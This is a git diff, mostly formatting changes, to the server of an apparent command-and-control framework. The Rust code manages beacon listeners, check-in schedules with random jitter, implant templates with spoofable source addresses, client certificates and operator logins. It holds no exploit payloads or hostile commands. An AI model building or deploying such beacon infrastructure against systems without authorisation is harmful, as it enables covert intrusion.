@@ pub async fn rename_category(id: i64, name: String) -> Result<(), ServerFnError> name, id ) - .execute(&db) - .await?; + .execute(&db) + .await?; Ok(()) } #[component] pub fn CategoriesView() -> impl IntoView { - let BeaconResources { add_category, categories, .. } = expect_context(); + let BeaconResources { + add_category, + categories, + .. + } = expect_context(); view! {
@@ -148,7 +147,11 @@ pub fn CategoriesView() -> impl IntoView { #[component] fn DisplayCategories(categories: Vec) -> impl IntoView { - let BeaconResources { remove_category, rename_category, .. } = expect_context(); + let BeaconResources { + remove_category, + rename_category, + .. + } = expect_context(); let (target_rename_id, set_target_rename_id) = signal(0); let target_rename_name = RwSignal::new("".to_owned()); @@ -157,55 +160,59 @@ fn DisplayCategories(categories: Vec) -> impl IntoView { let categories_view = categories .iter() - .map(|category| view! { -
  • - {category.category_id} - ": " - {category.category_name.clone()} - - + -
  • + > + "delete" + + + } }) .collect_view(); Effect::watch( - move || ( - rename_category.version().get(), - rename_category.value().get(), - dialog_ref.get() - ), - move |(_, res,dialog_ref),_,_| { + move || { + ( + rename_category.version().get(), + rename_category.value().get(), + dialog_ref.get(), + ) + }, + move |(_, res, dialog_ref), _, _| { if let (Some(Ok(())), Some(dialog)) = (res, dialog_ref) { let _ = dialog.close(); } }, - false + false, ); view! { diff --git a/sparse-server/src/beacons/configs.rs b/sparse-server/src/beacons/configs.rs index d8e64ec..08a2a0e 100644 --- a/sparse-server/src/beacons/configs.rs +++ b/sparse-server/src/beacons/configs.rs @@ -2,12 +2,10 @@ use leptos::{either::Either, prelude::*}; use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] use { - std::str::FromStr, - - sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + crate::db::user, leptos::server_fn::error::NoCustomError, - - crate::db::user + sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + std::str::FromStr, }; use super::BeaconResources; @@ -32,7 +30,7 @@ impl FromRow<'_, SqliteRow> for BeaconConfigTypes { )), "cron" => Ok(Self::CronSchedule( row.try_get("cron_schedule")?, - row.try_get("cron_mode")? + row.try_get("cron_mode")?, )), type_name => Err(sqlx::Error::TypeNotFound { type_name: type_name.to_string(), @@ -55,7 +53,9 @@ pub async fn get_beacon_configs() -> Result, ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); @@ -78,7 +78,9 @@ pub async fn add_beacon_config( let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); @@ -89,14 +91,16 @@ pub async fn add_beacon_config( "INSERT INTO beacon_config (config_name, mode) VALUES (?, 'single')", name ) - .execute(&db) - .await?; + .execute(&db) + .await?; Ok(()) - }, + } "regular" => { if regular_interval < 1 { - return Err(ServerFnError::::ServerError("Invalid interval provided".to_owned())) + return Err(ServerFnError::::ServerError( + "Invalid interval provided".to_owned(), + )); } sqlx::query!( @@ -108,10 +112,12 @@ pub async fn add_beacon_config( .await?; Ok(()) - }, + } "random" => { if random_min_time < 1 || random_max_time < random_min_time { - return Err(ServerFnError::::ServerError("Invalid random interval provided".to_owned())) + return Err(ServerFnError::::ServerError( + "Invalid random interval provided".to_owned(), + )); } sqlx::query!( @@ -124,19 +130,21 @@ pub async fn add_beacon_config( .await?; Ok(()) - }, + } "cron" => { if let Err(e) = cron::Schedule::from_str(&cron_schedule) { return Err(ServerFnError::::ServerError(format!( "Could not parse cron expression: {}", e - ))) + ))); } match &*cron_mode { - "local" | "utc" => {}, + "local" | "utc" => {} _ => { - return Err(ServerFnError::::ServerError("Unrecognized timezone specifier for cron".to_string())) + return Err(ServerFnError::::ServerError( + "Unrecognized timezone specifier for cron".to_string(), + )) } } @@ -150,10 +158,10 @@ pub async fn add_beacon_config( .await?; Ok(()) - }, - _ => { - Err(ServerFnError::::ServerError("Invalid mode supplied".to_owned())) } + _ => Err(ServerFnError::::ServerError( + "Invalid mode supplied".to_owned(), + )), } } @@ -162,15 +170,14 @@ pub async fn remove_beacon_config(id: i64) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); - sqlx::query!( - "DELETE FROM beacon_config WHERE config_id = ?", - id - ) + sqlx::query!("DELETE FROM beacon_config WHERE config_id = ?", id) .execute(&db) .await?; @@ -179,7 +186,11 @@ pub async fn remove_beacon_config(id: i64) -> Result<(), ServerFnError> { #[component] pub fn ConfigsView() -> impl IntoView { - let BeaconResources { add_beacon_config, configs, .. } = expect_context(); + let BeaconResources { + add_beacon_config, + configs, + .. + } = expect_context(); view! {
    @@ -260,42 +271,47 @@ pub fn ConfigsView() -> impl IntoView { #[component] fn DisplayConfigs(configs: Vec) -> impl IntoView { - let BeaconResources { remove_beacon_config, .. } = expect_context(); + let BeaconResources { + remove_beacon_config, + .. + } = expect_context(); let configs_view = configs .iter() - .map(|config| view! { -
  • - {config.config_id} - ": " - {config.config_name.clone()} - " (" - {match &config.config_type { - BeaconConfigTypes::Single => { - format!("Single") - }, - BeaconConfigTypes::Regular(int) => { - format!("Regular; every {int} seconds") - }, - BeaconConfigTypes::Random(min, max) => { - format!("Random; regularly between {min} and {max} seconds") - }, - BeaconConfigTypes::CronSchedule(sch, mode) => { - format!("{mode} cron; schedule: {sch}") - } - }} - ") " - -
  • + > + "delete" + + + } }) .collect_view(); diff --git a/sparse-server/src/beacons/listeners.rs b/sparse-server/src/beacons/listeners.rs index 8e1a433..c989de6 100644 --- a/sparse-server/src/beacons/listeners.rs +++ b/sparse-server/src/beacons/listeners.rs @@ -2,17 +2,14 @@ use std::net::Ipv4Addr; use leptos::{either::Either, prelude::*}; -use serde::{Serialize, Deserialize}; +use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] use { - sqlx::SqlitePool, - + crate::db::user, leptos::server_fn::error::NoCustomError, rcgen::{generate_simple_self_signed, CertifiedKey}, - sparse_handler::BeaconListenerMap, - - crate::db::user, + sqlx::SqlitePool, }; use super::BeaconResources; @@ -22,7 +19,7 @@ struct DbListener { listener_id: i64, port: i64, public_ip: String, - domain_name: String + domain_name: String, } #[derive(Clone, Serialize, Deserialize)] @@ -31,7 +28,7 @@ pub struct PubListener { pub port: i64, pub public_ip: String, pub domain_name: String, - pub active: bool + pub active: bool, } #[server] @@ -39,7 +36,9 @@ pub async fn get_listeners() -> Result, ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); @@ -49,8 +48,8 @@ pub async fn get_listeners() -> Result, ServerFnError> { DbListener, "SELECT listener_id, port, public_ip, domain_name FROM beacon_listener" ) - .fetch_all(&db) - .await?; + .fetch_all(&db) + .await?; let Ok(beacon_handles_handle) = beacon_handles.read() else { return Err(ServerFnError::::ServerError("".to_string())); @@ -66,13 +65,16 @@ pub async fn get_listeners() -> Result, ServerFnError> { active: beacon_handles_handle .get(&b.listener_id) .map(|h| !h.is_finished()) - .unwrap_or(false) + .unwrap_or(false), }) .collect()) } #[cfg(feature = "ssr")] -pub fn generate_cert_from_keypair(kp: &rcgen::KeyPair, names: Vec) -> Result { +pub fn generate_cert_from_keypair( + kp: &rcgen::KeyPair, + names: Vec, +) -> Result { use rcgen::CertificateParams; let mut params = CertificateParams::new(names)?; @@ -83,25 +85,33 @@ pub fn generate_cert_from_keypair(kp: &rcgen::KeyPair, names: Vec) -> Re } #[server] -pub async fn add_listener(public_ip: String, port: i16, domain_name: String) -> Result<(), ServerFnError> { +pub async fn add_listener( + public_ip: String, + port: i16, + domain_name: String, +) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } if public_ip.parse::().is_err() { - return Err(ServerFnError::::ServerError("Unable to parse public IP address".to_owned())); + return Err(ServerFnError::::ServerError( + "Unable to parse public IP address".to_owned(), + )); } let subject_alt_names = vec![public_ip.to_string(), domain_name.clone()]; - let (key_pair, cert) = tokio::task::spawn_blocking(|| { - rcgen::KeyPair::generate_for(&rcgen::PKCS_ECDSA_P256_SHA256) - .and_then(|keypair| - generate_cert_from_keypair(&keypair, subject_alt_names).map(|cert| (keypair, cert))) - }).await??; + rcgen::KeyPair::generate_for(&rcgen::PKCS_ECDSA_P256_SHA256).and_then(|keypair| { + generate_cert_from_keypair(&keypair, subject_alt_names).map(|cert| (keypair, cert)) + }) + }) + .await??; let db = expect_context::(); @@ -128,20 +138,26 @@ pub async fn remove_listener(listener_id: i64) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } { let blm = expect_context::(); let Ok(mut blm_handle) = blm.write() else { - return Err(ServerFnError::::ServerError("Failed to get write handle for beacon listener map".to_owned())); + return Err(ServerFnError::::ServerError( + "Failed to get write handle for beacon listener map".to_owned(), + )); }; if let Some(bl) = blm_handle.get_mut(&listener_id) { bl.abort(); } else { - return Err(ServerFnError::::ServerError("Failed to get write handle for beacon listener map".to_owned())); + return Err(ServerFnError::::ServerError( + "Failed to get write handle for beacon listener map".to_owned(), + )); } blm_handle.remove(&listener_id); @@ -153,8 +169,8 @@ pub async fn remove_listener(listener_id: i64) -> Result<(), ServerFnError> { "DELETE FROM beacon_listener WHERE listener_id = ?", listener_id ) - .execute(&pool) - .await?; + .execute(&pool) + .await?; Ok(()) } @@ -164,21 +180,23 @@ pub async fn start_listener(listener_id: i64) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } - sparse_handler::start_listener( - expect_context(), - listener_id, - expect_context() - ).await?; + sparse_handler::start_listener(expect_context(), listener_id, expect_context()).await?; Ok(()) } #[component] pub fn ListenersView() -> impl IntoView { - let super::BeaconResources { add_listener, listeners, .. } = expect_context::(); + let super::BeaconResources { + add_listener, + listeners, + .. + } = expect_context::(); view! {
    @@ -230,7 +248,11 @@ pub fn ListenersView() -> impl IntoView { #[component] fn DisplayListeners(listeners: Vec) -> impl IntoView { - let BeaconResources { listeners: listener_resource, remove_listener, .. } = expect_context::(); + let BeaconResources { + listeners: listener_resource, + remove_listener, + .. + } = expect_context::(); let (error_msg, set_error_msg) = signal(None); let start_listener_action = Action::new(move |&id: &i64| async move { @@ -246,46 +268,48 @@ fn DisplayListeners(listeners: Vec) -> impl IntoView { let listeners_view = listeners .iter() - .map(|listener| view! { -
  • - {listener.listener_id} - ": " - {listener.domain_name.clone()} - " (" - {listener.public_ip.clone()} - ":" - {listener.port} - ") " - {match listener.active { - true => Either::Left(view! { - "active!" - }), - false => Either::Right(view! { - + }) + }} + - }) - }} - -
  • + > + "delete" + + + } }) .collect_view(); diff --git a/sparse-server/src/beacons/templates.rs b/sparse-server/src/beacons/templates.rs index 001b7e9..27de457 100644 --- a/sparse-server/src/beacons/templates.rs +++ b/sparse-server/src/beacons/templates.rs @@ -1,13 +1,11 @@ use leptos::{either::Either, prelude::*}; -use serde::{Serialize, Deserialize}; +use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] use { - std::net::Ipv4Addr, - - sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + crate::db::user, leptos::server_fn::error::NoCustomError, - - crate::db::user + sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + std::net::Ipv4Addr, }; use crate::beacons::BeaconResources; @@ -15,7 +13,7 @@ use crate::beacons::BeaconResources; #[derive(Clone, Serialize, Deserialize)] pub enum BeaconSourceMode { Host, - Custom(i64, String) + Custom(i64, String), } #[cfg(feature = "ssr")] @@ -25,7 +23,7 @@ impl FromRow<'_, SqliteRow> for BeaconSourceMode { "host" => Ok(Self::Host), "custom" => Ok(Self::Custom( row.try_get("source_netmask")?, - row.try_get("source_gateway")? + row.try_get("source_gateway")?, )), type_name => Err(sqlx::Error::TypeNotFound { type_name: type_name.to_string(), @@ -48,7 +46,7 @@ pub struct BeaconTemplate { config_id: i64, listener_id: i64, - default_category: Option + default_category: Option, } cfg_if::cfg_if! { @@ -72,7 +70,8 @@ pub async fn add_template( source_mac: String, source_mode: String, source_netmask: i64, - source_gateway: String + source_gateway: String, + source_interface: String, ) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; @@ -97,7 +96,11 @@ pub async fn add_template( } let mac_parts = source_mac.split(":").collect::>(); - if mac_parts.len() != 6 || mac_parts.iter().any(|p| p.len() != 2 || u8::from_str_radix(p, 16).is_err()) { + if mac_parts.len() != 6 + || mac_parts + .iter() + .any(|p| p.len() != 2 || u8::from_str_radix(p, 16).is_err()) + { srverr!("Source MAC address is formatted incorrectly"); } @@ -107,8 +110,8 @@ pub async fn add_template( "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?", listener_id ) - .fetch_one(&db) - .await?; + .fetch_one(&db) + .await?; use rcgen::{Certificate, CertificateParams, KeyPair}; @@ -119,7 +122,7 @@ pub async fn add_template( srverr!("Could not parse private key: {e}"); } }, - &rcgen::PKCS_ECDSA_P256_SHA256 + &rcgen::PKCS_ECDSA_P256_SHA256, )?; let ca_params = CertificateParams::from_ca_cert_der(&(*listener.certificate).into())?; let ca_cert = ca_params.self_signed(&keypair)?; @@ -131,6 +134,8 @@ pub async fn add_template( let client_key_der = client_key.serialize_der(); let client_cert_der = client_cert.der().to_vec(); + let interface = Some(source_interface).filter(|s| !s.is_empty()); + match &*source_mode { "host" => { let source_mac = Some(source_mac).filter(|mac| mac != "00:00:00:00:00:00"); @@ -138,9 +143,11 @@ pub async fn add_template( sqlx::query!( r"INSERT INTO beacon_template - (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert) + (template_name, operating_system, config_id, listener_id, source_ip, + source_mac, source_mode, default_category, client_key, client_cert, + source_interface) VALUES - (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)", + (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?)", template_name, operating_system, config_id, @@ -149,22 +156,25 @@ pub async fn add_template( source_mac, default_category, client_key_der, - client_cert_der + client_cert_der, + interface ) - .execute(&db) - .await?; + .execute(&db) + .await?; Ok(()) - }, + } "custom" => { let source_mac = Some(source_mac).filter(|mac| mac != "00:00:00:00:00:00"); let default_category = Some(default_category).filter(|dc| *dc != 0); sqlx::query!( r"INSERT INTO beacon_template - (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert) + (template_name, operating_system, config_id, listener_id, source_ip, + source_mac, source_mode, source_netmask, source_gateway, default_category, + client_key, client_cert, source_interface) VALUES - (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)", + (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?, ?)", template_name, operating_system, config_id, @@ -175,13 +185,14 @@ pub async fn add_template( source_gateway, default_category, client_key_der, - client_cert_der + client_cert_der, + interface ) - .execute(&db) - .await?; + .execute(&db) + .await?; Ok(()) - }, + } _other => { srverr!("Invalid type of source mode provided"); } @@ -198,9 +209,12 @@ pub async fn remove_template(template_id: i64) -> Result<(), ServerFnError> { let db = expect_context::(); - sqlx::query!("DELETE FROM beacon_template WHERE template_id = ?", template_id) - .execute(&db) - .await?; + sqlx::query!( + "DELETE FROM beacon_template WHERE template_id = ?", + template_id + ) + .execute(&db) + .await?; Ok(()) } @@ -210,7 +224,9 @@ pub async fn get_templates() -> Result, ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); @@ -222,7 +238,13 @@ pub async fn get_templates() -> Result, ServerFnError> { #[component] pub fn TemplatesView() -> impl IntoView { - let BeaconResources { configs, listeners, categories, templates, .. } = expect_context(); + let BeaconResources { + configs, + listeners, + categories, + templates, + .. + } = expect_context(); view! {
    @@ -379,6 +401,8 @@ pub fn AddTemplateForm( + +
    @@ -391,9 +415,11 @@ pub fn DisplayTemplates( configs: Vec, listeners: Vec, categories: Vec, - templates: Vec + templates: Vec, ) -> impl IntoView { - let BeaconResources { remove_template, .. } = expect_context(); + let BeaconResources { + remove_template, .. + } = expect_context(); let templates_view = templates .iter() diff --git a/sparse-server/src/cli/user.rs b/sparse-server/src/cli/user.rs index 5f39aca..5e24feb 100644 --- a/sparse-server/src/cli/user.rs +++ b/sparse-server/src/cli/user.rs @@ -9,7 +9,7 @@ pub async fn handle_user_command(user_command: UC, db: SqlitePool) -> anyhow::Re match user_command { UC::List {} => list_users(db).await, UC::Create { user_name } => create_user(db, user_name).await, - UC::ResetPassword { user_id } => reset_password(&db, user_id).await + UC::ResetPassword { user_id } => reset_password(&db, user_id).await, } } @@ -51,7 +51,7 @@ async fn create_user(db: SqlitePool, name: String) -> anyhow::Result { async fn reset_password<'a, E>(db: E, id: i16) -> anyhow::Result where - E: sqlx::SqliteExecutor<'a> + E: sqlx::SqliteExecutor<'a>, { let password = get_password()?; diff --git a/sparse-server/src/db/user.rs b/sparse-server/src/db/user.rs index ce3aa3e..3f0a95e 100644 --- a/sparse-server/src/db/user.rs +++ b/sparse-server/src/db/user.rs @@ -1,7 +1,13 @@ +use leptos::prelude::ServerFnError; use leptos::{prelude::expect_context, server_fn::error::NoCustomError}; use leptos_axum::{extract, ResponseOptions}; -use leptos::prelude::ServerFnError; -use pbkdf2::{Pbkdf2, password_hash::{PasswordHash, PasswordHasher, PasswordVerifier, rand_core::{OsRng, RngCore}, SaltString}}; +use pbkdf2::{ + password_hash::{ + rand_core::{OsRng, RngCore}, + PasswordHash, PasswordHasher, PasswordVerifier, SaltString, + }, + Pbkdf2, +}; use sqlx::SqlitePool; use crate::error::Error; @@ -11,7 +17,7 @@ pub struct User { pub user_id: i64, pub user_name: String, password_hash: String, - pub last_active: Option + pub last_active: Option, } impl std::fmt::Debug for User { @@ -29,12 +35,13 @@ async fn hash_password(pass: &[u8]) -> Result { let pass = pass.to_owned(); let salt = SaltString::generate(&mut OsRng); - move || - Pbkdf2.hash_password( - &*pass, - &salt, - ).map(|hash| hash.serialize().as_str().to_string()) - }).await??) + move || { + Pbkdf2 + .hash_password(&*pass, &salt) + .map(|hash| hash.serialize().as_str().to_string()) + } + }) + .await??) } async fn verify_password(pass: &str, hash: &str) -> Result { @@ -42,46 +49,49 @@ async fn verify_password(pass: &str, hash: &str) -> Result { let pass = pass.to_owned(); let hash = hash.to_owned(); - move || + move || { PasswordHash::new(&*hash) - .map(|parsed| Pbkdf2.verify_password( - &pass.as_bytes(), - &parsed - ).is_ok()) - }).await??) + .map(|parsed| Pbkdf2.verify_password(&pass.as_bytes(), &parsed).is_ok()) + } + }) + .await??) } -pub async fn reset_password<'a, E>(pool: E, id: i16, password: String) -> Result<(), crate::error::Error> +pub async fn reset_password<'a, E>( + pool: E, + id: i16, + password: String, +) -> Result<(), crate::error::Error> where - E: sqlx::SqliteExecutor<'a> + E: sqlx::SqliteExecutor<'a>, { - let password_string = hash_password( - password.as_bytes() - ).await?; + let password_string = hash_password(password.as_bytes()).await?; sqlx::query!( "UPDATE users SET password_hash = ? WHERE user_id = ?", password_string, id ) - .execute(pool) - .await?; + .execute(pool) + .await?; Ok(()) } -pub async fn create_user<'a, E>(acq: E, name: String, password: String) -> Result<(), crate::error::Error> +pub async fn create_user<'a, E>( + acq: E, + name: String, + password: String, +) -> Result<(), crate::error::Error> where - E: sqlx::Acquire<'a, Database = sqlx::Sqlite> + E: sqlx::Acquire<'a, Database = sqlx::Sqlite>, { let mut tx = acq.begin().await?; - let previous_user_check = sqlx::query_scalar!( - "SELECT COUNT(*) FROM users WHERE user_name = ?", - name - ) - .fetch_one(&mut *tx) - .await?; + let previous_user_check = + sqlx::query_scalar!("SELECT COUNT(*) FROM users WHERE user_name = ?", name) + .fetch_one(&mut *tx) + .await?; if previous_user_check > 0 { return Err(Error::UserCreate("User already exists".to_string())); @@ -93,9 +103,9 @@ where r#"INSERT INTO users (user_name, password_hash) VALUES (?, "")"#, name ) - .execute(&mut *tx) - .await? - .last_insert_rowid(); + .execute(&mut *tx) + .await? + .last_insert_rowid(); reset_password(&mut *tx, new_id as i16, password).await?; @@ -108,37 +118,30 @@ const SESSION_ID_KEY: &'static str = "session_id"; const SESSION_AGE: i64 = 30 * 60; pub async fn create_auth_session(username: String, password: String) -> Result<(), ServerFnError> { - use axum_extra::extract::cookie::{Cookie, SameSite}; use axum::http::{header, HeaderValue}; + use axum_extra::extract::cookie::{Cookie, SameSite}; let db = expect_context::(); let resp = expect_context::(); - let user: Option = sqlx::query_as!( - User, - "SELECT * FROM users WHERE user_name = ?", - username - ) - .fetch_optional(&db) - .await?; + let user: Option = + sqlx::query_as!(User, "SELECT * FROM users WHERE user_name = ?", username) + .fetch_optional(&db) + .await?; let Some(user) = user else { - return Err(ServerFnError::::ServerError("Invalid credentials".to_string())); + return Err(ServerFnError::::ServerError( + "Invalid credentials".to_string(), + )); }; - let good_hash = verify_password( - &password, - &user.password_hash - ).await?; + let good_hash = verify_password(&password, &user.password_hash).await?; if good_hash { let now = chrono::Utc::now().timestamp(); let expires = now + SESSION_AGE; - sqlx::query!( - "UPDATE users SET last_active = ?", - now - ) + sqlx::query!("UPDATE users SET last_active = ?", now) .execute(&db) .await?; @@ -146,7 +149,8 @@ pub async fn create_auth_session(username: String, password: String) -> Result<( let mut key = [0u8; 32]; OsRng.fill_bytes(&mut key); hex::encode(&key[..]) - }).await?; + }) + .await?; sqlx::query!( "INSERT INTO sessions (session_id, user_id, expires) VALUES (?, ?, ?)", @@ -154,8 +158,8 @@ pub async fn create_auth_session(username: String, password: String) -> Result<( user.user_id, expires ) - .execute(&db) - .await?; + .execute(&db) + .await?; let cookie = Cookie::build((SESSION_ID_KEY, &session_id)) .http_only(true) @@ -168,7 +172,9 @@ pub async fn create_auth_session(username: String, password: String) -> Result<( Ok(()) } else { - Err(ServerFnError::::ServerError("Invalid credentials".to_string())) + Err(ServerFnError::::ServerError( + "Invalid credentials".to_string(), + )) } } @@ -184,10 +190,7 @@ pub async fn destroy_auth_session() -> Result<(), ServerFnError> { let session_id = cookie.value(); - sqlx::query!( - "DELETE FROM sessions WHERE session_id = ?", - session_id - ) + sqlx::query!("DELETE FROM sessions WHERE session_id = ?", session_id) .execute(&db) .await?; @@ -217,8 +220,8 @@ pub async fn get_auth_session() -> Result, ServerFnError> { session_id, now ) - .fetch_optional(&db) - .await?; + .fetch_optional(&db) + .await?; if let Some(u) = &user { let now = chrono::Utc::now().timestamp(); @@ -229,22 +232,19 @@ pub async fn get_auth_session() -> Result, ServerFnError> { now, u.user_id ) - .execute(&db) - .await?; + .execute(&db) + .await?; sqlx::query!( "UPDATE sessions SET expires = ? WHERE session_id = ?", expires, session_id ) - .execute(&db) - .await?; + .execute(&db) + .await?; } - sqlx::query!( - "DELETE FROM sessions WHERE expires < ?", - now - ) + sqlx::query!("DELETE FROM sessions WHERE expires < ?", now) .execute(&db) .await?; diff --git a/sparse-server/src/main.rs b/sparse-server/src/main.rs index bfe3f2d..8ea86f0 100644 --- a/sparse-server/src/main.rs +++ b/sparse-server/src/main.rs @@ -1,36 +1,37 @@ - -#[cfg(feature = "ssr")] -mod cli; -#[cfg(feature = "ssr")] -mod webserver; #[cfg(feature = "ssr")] mod beacons; #[cfg(feature = "ssr")] -pub mod users; -pub mod error; +mod cli; pub mod db; +pub mod error; +#[cfg(feature = "ssr")] +pub mod users; +#[cfg(feature = "ssr")] +mod webserver; #[cfg(feature = "ssr")] #[tokio::main] async fn main() -> anyhow::Result { - use std::{path::PathBuf, process::ExitCode, str::FromStr}; + use sqlx::sqlite::{SqliteConnectOptions, SqlitePool}; use structopt::StructOpt; use tracing_subscriber::{layer::SubscriberExt, util::SubscriberInitExt}; - use sqlx::sqlite::{SqlitePool, SqliteConnectOptions}; tracing_subscriber::registry() .with( - tracing_subscriber::EnvFilter::try_from_default_env() - .unwrap_or_else(|_| format!("{}=debug,sparse_handler=debug", env!("CARGO_CRATE_NAME")).into()), + tracing_subscriber::EnvFilter::try_from_default_env().unwrap_or_else(|_| { + format!("{}=debug,sparse_handler=debug", env!("CARGO_CRATE_NAME")).into() + }), ) .with(tracing_subscriber::fmt::layer()) .init(); let options = cli::Options::from_args(); - let db_location = options.db_location.clone() + let db_location = options + .db_location + .clone() .or(std::env::var("DATABASE_URL") .map(|p| p.replace("sqlite://", "")) .map(PathBuf::from) @@ -45,7 +46,7 @@ async fn main() -> anyhow::Result { if !options.init_ok { tracing::error!("Database doesn't exist, and initialization not allowed!"); tracing::error!("{:?}", e); - return Ok(ExitCode::FAILURE) + return Ok(ExitCode::FAILURE); } tracing::info!("Database doesn't exist, readying initialization"); @@ -53,14 +54,13 @@ async fn main() -> anyhow::Result { let pool = SqlitePool::connect_with( SqliteConnectOptions::from_str(&format!("sqlite://{}", db_location.to_string_lossy()))? - .create_if_missing(options.init_ok) - ).await?; + .create_if_missing(options.init_ok), + ) + .await?; tracing::info!("Running database migrations..."); - sqlx::migrate!() - .run(&pool) - .await?; + sqlx::migrate!().run(&pool).await?; tracing::info!("Done running database migrations!"); @@ -69,12 +69,8 @@ async fn main() -> anyhow::Result { tracing::info!("Performing requested action, acting as web server"); webserver::serve_web(management_address, pool).await } - Some(cli::Command::ExtractPubKey { }) => { - Ok(ExitCode::SUCCESS) - } - Some(cli::Command::User { command }) => { - cli::user::handle_user_command(command, pool).await - } + Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS), + Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await, None => { use std::net::{Ipv4Addr, SocketAddrV4}; diff --git a/sparse-server/src/users.rs b/sparse-server/src/users.rs index d03eff5..e94746f 100644 --- a/sparse-server/src/users.rs +++ b/sparse-server/src/users.rs @@ -1,29 +1,33 @@ -use chrono::{DateTime, offset::Utc}; +use chrono::{offset::Utc, DateTime}; use leptos::prelude::*; -use serde::{Serialize, Deserialize}; +use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] -use { - sqlx::SqlitePool, - leptos::server_fn::error::NoCustomError, - crate::db::user -}; +use {crate::db::user, leptos::server_fn::error::NoCustomError, sqlx::SqlitePool}; pub fn format_delta(time: chrono::TimeDelta) -> String { let seconds = time.num_seconds(); match seconds { - 0..=59 => format!("{} second{} ago", seconds, if seconds == 1 {""} else {"s"}), + 0..=59 => format!( + "{} second{} ago", + seconds, + if seconds == 1 { "" } else { "s" } + ), 60..=3599 => { let minutes = seconds / 60; - format!("{} minute{} ago", minutes, if minutes == 1 {""} else {"s"}) + format!( + "{} minute{} ago", + minutes, + if minutes == 1 { "" } else { "s" } + ) } 3600..=86399 => { let hours = seconds / 3600; - format!("{} hours{} ago", hours, if hours == 1 {""} else {"s"}) + format!("{} hours{} ago", hours, if hours == 1 { "" } else { "s" }) } _ => { let days = seconds / 86400; - format!("{} day{} ago", days, if days == 1 {""} else {"s"}) + format!("{} day{} ago", days, if days == 1 { "" } else { "s" }) } } } @@ -44,14 +48,14 @@ impl std::cmp::PartialEq for User { pub struct DbUser { user_id: i64, user_name: String, - last_active: Option + last_active: Option, } #[derive(Clone, Serialize, Deserialize)] pub struct PubUser { user_id: i64, user_name: String, - last_active: Option> + last_active: Option>, } #[server] @@ -59,15 +63,14 @@ async fn delete_user(user_id: i64) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let pool = expect_context::(); - sqlx::query!( - "DELETE FROM users WHERE user_id = ?", - user_id - ) + sqlx::query!("DELETE FROM users WHERE user_id = ?", user_id) .execute(&pool) .await?; @@ -79,7 +82,9 @@ async fn reset_password(user_id: i64, password: String) -> Result<(), ServerFnEr let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let pool = expect_context::(); @@ -96,15 +101,21 @@ pub fn RenderUser(refresh_user_list: Action<(), ()>, user: PubUser) -> impl Into #[cfg_attr(feature = "ssr", allow(unused_variables))] let UseIntervalReturn { counter, .. } = use_interval(1000); #[cfg_attr(feature = "ssr", allow(unused_variables))] - let (time_ago, set_time_ago) = signal(user.last_active.map(|active| format_delta(Utc::now() - active))); + let (time_ago, set_time_ago) = signal( + user.last_active + .map(|active| format_delta(Utc::now() - active)), + ); #[cfg(feature = "hydrate")] Effect::watch( move || counter.get(), move |_, _, _| { - set_time_ago(user.last_active.map(|active| format_delta(Utc::now() - active))); + set_time_ago( + user.last_active + .map(|active| format_delta(Utc::now() - active)), + ); }, - false + false, ); let dialog_ref = NodeRef::::new(); @@ -220,23 +231,27 @@ async fn list_users() -> Result, ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } use futures::stream::StreamExt; let pool = expect_context::(); - let users = sqlx::query_as!( 